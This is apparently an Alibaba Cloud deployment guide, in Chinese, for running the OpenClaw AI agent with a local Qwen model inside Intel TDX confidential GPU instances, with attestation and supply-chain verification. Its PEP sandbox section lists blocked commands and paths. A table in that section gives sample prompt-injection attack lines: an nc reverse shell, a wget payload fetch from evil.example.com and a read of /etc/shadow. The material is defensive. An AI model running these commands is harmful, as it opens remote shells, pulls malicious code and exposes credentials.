基于异构机密计算实例构建OpenClaw机密AI Agent

更新时间:
复制为 MD 格式

AI Agent在运行过程中会处理用户对话、调用外部工具、管理长期记忆和服务凭证,攻击面远超传统应用。阿里云gn8v-tee异构机密计算实例,基于Intel TDXNVIDIA GPU机密计算特性实现了完整的机密计算可信执行环境,通过将开源AI Agent框架OpenClaw部署在该实例中,可实现硬件级数据保护、远程证明和供应链可验证能力,确保模型推理和用户交互全链路安全。

方案概述

本文介绍Confidential Agent方案,通过将OpenClaw封装在支持Intel TDX(Trust Domain Extensions)技术的gn8v-tee实例上,同时在本地运行Qwen3.6-35B-A3B混合专家模型(MoE),使得Agent运行和模型推理过程完全在TDX信任域中完成,无需调用任何第三方API服务,用户输入、模型权重、推理中间态和AI输出在处理过程中均不离开机密实例信任边界。

说明

gn8v-tee是阿里云推出的GPU机密计算实例规格族,内置Intel TDX硬件加密能力与NVIDIA GPU加速,同时满足AI推理性能与数据安全合规要求。本文以ecs.gn8v-tee.4xlarge为例,运行Alibaba Cloud Linux 3,地域为cn-beijing-l。如需更大规模,可横向扩展至多卡实例规格。

安全架构

Confidential Agent 部署中的所有核心数据均在 TEE 边界内闭环流转,以下三类资产受到严格保护:

保护对象

说明

用户对话隐私

用户输入、工具执行上下文和AI回复,可能包含个人身份、医疗、金融等敏感信息。

Agent记忆与状态

OpenClaw的长期记忆、配置、SKILL文件,随运行时间积累形成高价值目标。

服务凭证

钉钉等IM平台的OAuth凭据、外部API密钥、网关Token。

安全架构自底向上覆盖硬件、启动、运行时、密钥和通信五个层级:

保护层级

机制

硬件层

Intel TDX 内存加密引擎(MEE)对 Guest 全部内存透明加密,云厂商无法读取明文

启动链

UKI 统一内核镜像 + dm-verity rootfs 防篡改,远程证明验证运行完整性,供应链参考值记录于Rekor 透明日志

运行时

PEP 策略沙箱拦截高危命令和敏感路径访问,防止 Prompt 注入导致权限提升

密钥管理

磁盘加密密钥在引导阶段通过远程证明挑战注入,由用户本地持有,云厂商不参与

通信链路

RATS-TLS 端到端加密,远程证明验证实例身份后才建立通道,全程加密传输

部署使用流程

image
  1. 源码审计:部署人员审计业务源码,确认无恶意代码或后门。

  2. 制品构建与软件参考值公开:从审计后的源码构建仅包含OpenClaw服务的轻量级OS镜像,同时将构建产物的SLSA签名上传至Rekor透明日志,公开软件参考值。

  3. 创建机密实例:使用构建好的镜像创建gn8v-tee机密计算实例。

  4. 远程证明审计、上传机密资源:部署人员通过部署工具,对实例进行远程证明验证其运行在真实TDX硬件上,确认后自动上传机密资源(磁盘加密密钥、钉钉机器人凭证等)。

  5. 访问OpenClaw:用户通过Web浏览器、桌面客户端或TUI终端直接访问OpenClaw,也可通过钉钉等IM平台间接访问。

  6. 远程证明审计、加密传输:可信网关客户端在建立连接前,先从Rekor获取软件参考值、从Intel PCCS和 RIM/OCSP获取硬件参考值,完成远程证明验证后建立RATS-TLS加密通道,所有通信全程加密。

前提条件

  • 已开通阿里云ECS服务,且账号具备创建gn8v-tee实例的权限。

  • 已准备一台运行 Alibaba Cloud Linux 3 的通用型(或其他) ECS 实例作为部署机,可用磁盘空间不低于 80 GB。

    重要

    部署机仅用于部署操作,使用通用型实例即可,无需使用gn8v-tee,后续步骤会在部署机上执行命令创建gn8v-tee实例。

  • 已获取阿里云AccessKey(建议使用RAM角色或STS临时凭证)。

  • 如需使用钉钉集成,已创建钉钉企业内部应用并获取相关凭据。

操作步骤

步骤一:构建包含OpenClawvLLM推理引擎的可信镜像

在部署机(Alibaba Cloud Linux 3实例)上完成源码下载、依赖安装、密钥生成、云资源配置,并构建可信镜像。

  1. 登录ECS实例。

    1. 访问ECS控制台-实例。在页面左侧顶部,选择目标资源所在的资源组和地域。

    2. 进入目标实例详情页,单击远程连接,选择通过Workbench远程连接。选择连接方式为终端连接,输入账号和密码,登录图形化终端页面。

  2. 下载项目源码。

    cd ~/
    git clone https://github.com/inclavare-containers/confidential-agent
    cd confidential-agent
  3. 安装所有必需的软件依赖。

    make install-deps

    该命令将自动安装Docker、Terraform、Go、Python、cosign、rekor-cli等构建和部署所需的工具。

  4. 生成部署所需的加密密钥和配置文件。

    make generate-secrets

    生成密钥后,需要编辑secrets/openclaw-vllm.json,将占位符替换为实际值,例如钉钉应用凭据、模型配置等,说明如下:

    占位符

    说明

    获取方式

    <DINGTALK_BOT_CLIENT_ID>

    钉钉机器人 ClientId

    参考钉钉机器人+ OpenClaw,在钉钉开发者后台创建应用后获取。

    <DINGTALK_BOT_CLIENT_SECRET>

    钉钉机器人 ClientSecret

    同上,应用详情页面获取。

  5. 配置Terraform变量文件。

    说明

    Terraform是一款开源的基础设施即代码(IaC)工具,可以通过编写声明式的配置文件来自动化构建、变更和版本化管理阿里云上的各种云资源及服务,这里使用了Terraform来辅助机密实例的部署。

    cp terraform/terraform.tfvars.example terraform/terraform.tfvars

    编辑terraform/terraform.tfvars文件,按下表配置关键参数。

    配置项

    推荐值

    说明

    zone_id

    "cn-beijing-l"

    支持gn8v-tee的可用区

    vpc_cidr

    "10.0.0.0/16"

    VPC网段

    vswitch_cidr

    "10.0.1.0/24"

    交换机网段

    security_group_allowed_cidr

    您需要访问OpenClaw服务的客户端环境IP

    安全组放通的源IP范围

    重要

    security_group_allowed_cidr默认值为0.0.0.0/0,生产环境请务必修改限制为具体的IP段,仅放通必要的源IP地址。

  6. 导出阿里云访问凭证用于Terraform创建云资源。

    export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
    export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
    说明

    建议使用RAM角色或临时凭证(STS),避免长期存储AccessKey。关于如何创建AccessKey,请参见创建AccessKey

  7. 构建包含OpenClawvLLM推理引擎的可信镜像。

    make build PROFILE=openclaw-vllm
    说明

    首次构建涉及GPU驱动安装等步骤,请耐心等待。

    构建完成后会生成以下两个镜像:

    镜像类型

    说明

    Production镜像

    安全加固版本,移除SSH服务端,仅保留最小化运行时,用于正式部署

    Debug镜像

    保留SSH访问和调试工具,仅用于问题排查

    构建过程同时会将镜像参考值上传至Rekor透明日志,生成.rekor-meta.json元数据文件用于部署时验证。

步骤二:部署可信镜像到实例

将可信镜像部署到gn8v-tee实例,并通过TNG建立端到端加密通道。

  1. 在部署机上,执行以下命令,使用可信镜像创建gn8v-tee实例,并在实例创建成功后对实例进行远程证明审计,并完成机密资源的上传。

    make deploy PROFILE=openclaw-vllm RV_MODE=rekor

    关键参数说明:

    参数

    说明

    PROFILE=openclaw-vllm

    指定部署配置文件

    RV_MODE=rekor

    部署时通过Rekor透明日志验证镜像参考值的完整性

    部署过程在云端创建以下资源:

    • OSS Bucket:私有存储空间,用于上传并托管可信虚拟机镜像(.qcow2)

    • ECS自定义镜像:由 OSS 镜像文件导入阿里云 ECS 自定义镜像库

    • ECS GPU机密计算实例:ecs.gn8v-tee.4xlarge 规格机密计算实例,挂载安全组与虚拟交换机,UKI 引导参数包含远程证明挑战配置

    • 安全组:放通 SSH(22)和 TNG 端口(18789),仅允许指定 CIDR 访问

    说明

    默认部署Debug镜像。如需部署Production镜像(无SSH访问),可手动指定镜像文件。

    重要

    由于部署期间将完成镜像上传到OSS、从ModelScope下载模型等步骤,需要访问公网并产生部分流量费用。

  2. 在部署机上启动TNG Client,建立部署机与云端gn8v-tee实例之间的RATS-TLS加密通道。

    make connect-tng

    连接成功后,输出中将包括访问OpenClaw所需的HTTPWebSocket URL和访问Token。后续所有通信均经RATS-TLS加密保护。

  3. 通过TNG隧道检查OpenClaw服务是否就绪。

    curl -s http://localhost:18789/health

    返回健康状态后即可继续访问服务。

步骤三:访问受机密计算保护的OpenClaw服务

服务就绪后,可以通过以下四种方式访问OpenClaw服务。

方式一:通过钉钉聊天

在钉钉中找到已配置的机器人,直接发送消息即可与OpenClaw对话。

image

方式二:通过浏览器Web界面

前置准备:建立本地到部署机的端口转发

步骤二中的make connect-tng在部署机上运行,将TNG隧道绑定到部署机的localhost:18789。用户需从个人电脑通过SSH端口转发将端口映射到部署机:

ssh -L 18789:127.0.0.1:18789 root@<部署机IP>

完成后,用户在个人电脑上的浏览器或客户端访问localhost:18789即可等同于访问部署机上的TNG隧道。

通过浏览器访问

在用户自己的个人电脑完成SSH端口转发后,在浏览器中访问http://localhost:18789/openclaw,打开Web控制面板,填入步骤二中获得的OpenClaw Token即可访问。

image

方式三:通过OpenClaw桌面客户端

前置准备:建立本地到部署机的端口转发

步骤二中的make connect-tng在部署机上运行,将TNG隧道绑定到部署机的localhost:18789。用户需从个人电脑通过SSH端口转发将端口映射到部署机:

ssh -L 18789:127.0.0.1:18789 root@<部署机IP>

完成后,用户在个人电脑上的浏览器或客户端访问localhost:18789即可等同于访问部署机上的TNG隧道。

通过桌面客户端访问

在个人电脑上安装OpenClaw桌面客户端,配置remote模式,填入连接地址为ws://localhost:18789,填入步骤二中获得的OpenClaw Token后即可使用。

方式四:通过OpenClaw TUI

在部署机安装OpenClaw作为客户端:

npm install -g openclaw@latest --registry=https://registry.npmmirror.com

然后在部署机运行以下命令,以客户端形式启动OpenClawTUI界面连接到远程的OpenClaw实例:

openclaw tui --url ws://localhost:18789 --token <gateway-token>

其中<gateway-token>为步骤二中获取的OpenClaw网关Token。

说明

首次通过TUI连接时,会提示pairing required。此时请在浏览器中访问http://localhost:18789/openclaw,在节点页面找到待授权设备,单击Approve完成授权后再返回TUI即可正常使用。

授权完成后,TUI即可正常对话:

image

步骤四(可选):释放资源

不再需要该服务时,执行以下命令释放所有云资源:

make destroy PROFILE=openclaw-vllm
警告

销毁操作不可逆,会删除ECS实例及相关网络资源。请确认不再需要实例中的数据后再执行。

安全验证

验证运行环境可信

OpenClaw内置了tdx-remote-attestation skill,当询问安全问题时会自动触发远程证明,验证当前运行环境的安全状态。

触发方式:在钉钉、WebTUI中询问"我的数据安全吗?"、"这个环境可信吗?"等安全相关的问题。

返回内容

验证项

说明

硬件可信状态

hardware值 ≤ 32表示验证通过

TEE类型

Intel TDX Trust Domain

内存加密保护

确认内存加密引擎已启用

UKI启动链完整性

组件度量值一致性验证

image (1)

验证PEP策略拦截

PEP(Policy Enforcement Point,策略执行点)是一个为机密AI Agent设计的运行时门禁机制。当 OpenClawAgent 通过 exec 工具执行命令时,请求先经过 cai-pep 进行策略匹配,再在隔离的 Docker 沙箱(网络模式 none)中执行,同时使用可配置的策略实施对Agent可执行的工具实施强制限制,从而防范恶意 Prompt 注入导致的安全风险。

PEP 提供三层防护:

  1. 命令级拦截:基于黑名单拒绝高危命令(如 curlwgetncsshdocker 等)

  2. 路径级拦截:阻止访问敏感路径(如 /etc/proc/root/home/openclaw/.openclaw 等)

  3. 网络隔离:沙箱无网络权限,即使命令绕过黑名单也无法发起连接

默认策略文件位于部署机的 ~/confidential-agent/image/customize/files/cai-pep-default-policy.json,您可在构建镜像前按需调整命令黑名单、路径黑名单和资源限制等参数。

假设 Agent 被恶意 Prompt 注入,攻击者诱导其建立反向 Shell 或下载恶意载荷,PEP 会自动拦截这些高危操作:

攻击手段

示例命令

拦截原因

反向 Shell

nc 10.0.0.99 4444 -e /bin/bash

nc 在命令黑名单中

下载恶意载荷

wget http://evil.example.com/payload.sh

wget 在命令黑名单中

读取敏感文件

cat /etc/shadow

/etc/shadow 命中路径前缀 /etc

验证供应链完整性

部署流程默认使用Rekor透明日志存储镜像参考值,远程证明过程中自动从Rekor获取日志条目进行验证。您可以通过以下方式对Rekor日志条目进行审计,验证供应链完整性。

查看Rekor记录

构建完成后,在部署机上可以找到该条目的log indexentry URL:

cat ~/confidential-agent/image/output/slsa-output-cai-openclaw-vllm-debug-*/rekor-v1-upload.txt

输出示例:

Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

验证包含性(inclusion proof)

包含性证明用于确认记录着镜像参考值的条目确实存在于Rekor的默克尔树根(Merkle Root)中。

rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

如果输出中包含两段相同的hash值,则说明验证成功:

Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

验证一致性(consistency proof)

一致性证明可确认一个较旧的默克尔树根(Root A)是较新的默克尔树根(Root B)的前缀或历史状态,从而确保Rekor上存储的参考值条目没有被删改。

rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

输出中包含以下内容则说明验证成功:

Verification Successful!

安全组配置

make deploy过程中将自动创建安全组规则。如果您后续需要修改安全组,请确保安全组中包含以下规则:

端口

协议

说明

安全建议

22

TCP

SSH远程管理(仅Debug镜像)

限制源IP为管理网络

18789

TCP

TNG隧道端点(RATS-TLS),用于访问OpenClaw服务

限制源IP或通过TNG访问

重要:生产环境务必将security_group_allowed_cidr修改为具体的管理IP段,避免使用0.0.0.0/0

常见问题

  • make build失败,提示缺少依赖

    确认依赖安装完整,并检查磁盘空间是否充足:

    make install-deps
    df -h /

    如果上述方法无法解决问题,运行make clean-image清除构建产物后重新尝试构建。

  • make deploy失败,提示NoSetRoletoECSServiceAcount

    该错误表示未授权ECS镜像导入角色。请执行以下操作之一:

    • 登录阿里云控制台,进入ECS > 镜像 > 导入镜像,单击授权创建AliyunECSImageImportDefaultRole角色。

    • 通过RAM控制台,为角色AliyunECSImageImportDefaultRole授权AliyunOSSFullAccess策略。

  • 服务未响应

    1. 确认部署的是Debug镜像(Production镜像不包含SSH)。

    2. 重新部署一次,确认make deploy无报错。

    3. 使用Debug镜像部署后,通过SSH连接查看日志排查。

  • 本地TNG验证失败

    确认本地Trustee容器已启动并健康:

    # 确认本地Trustee容器已启动
    docker ps | grep cai-local-trustee
    
    # 检查Trustee健康状态
    curl http://127.0.0.1:18081/api/health
    
    # 如果Trustee未就绪,重新执行
    make connect-tng
  • cai-pep拒绝所有工具调用

    使用Debug镜像部署后,通过SSH连接查看cai-pep日志排查具体拦截原因。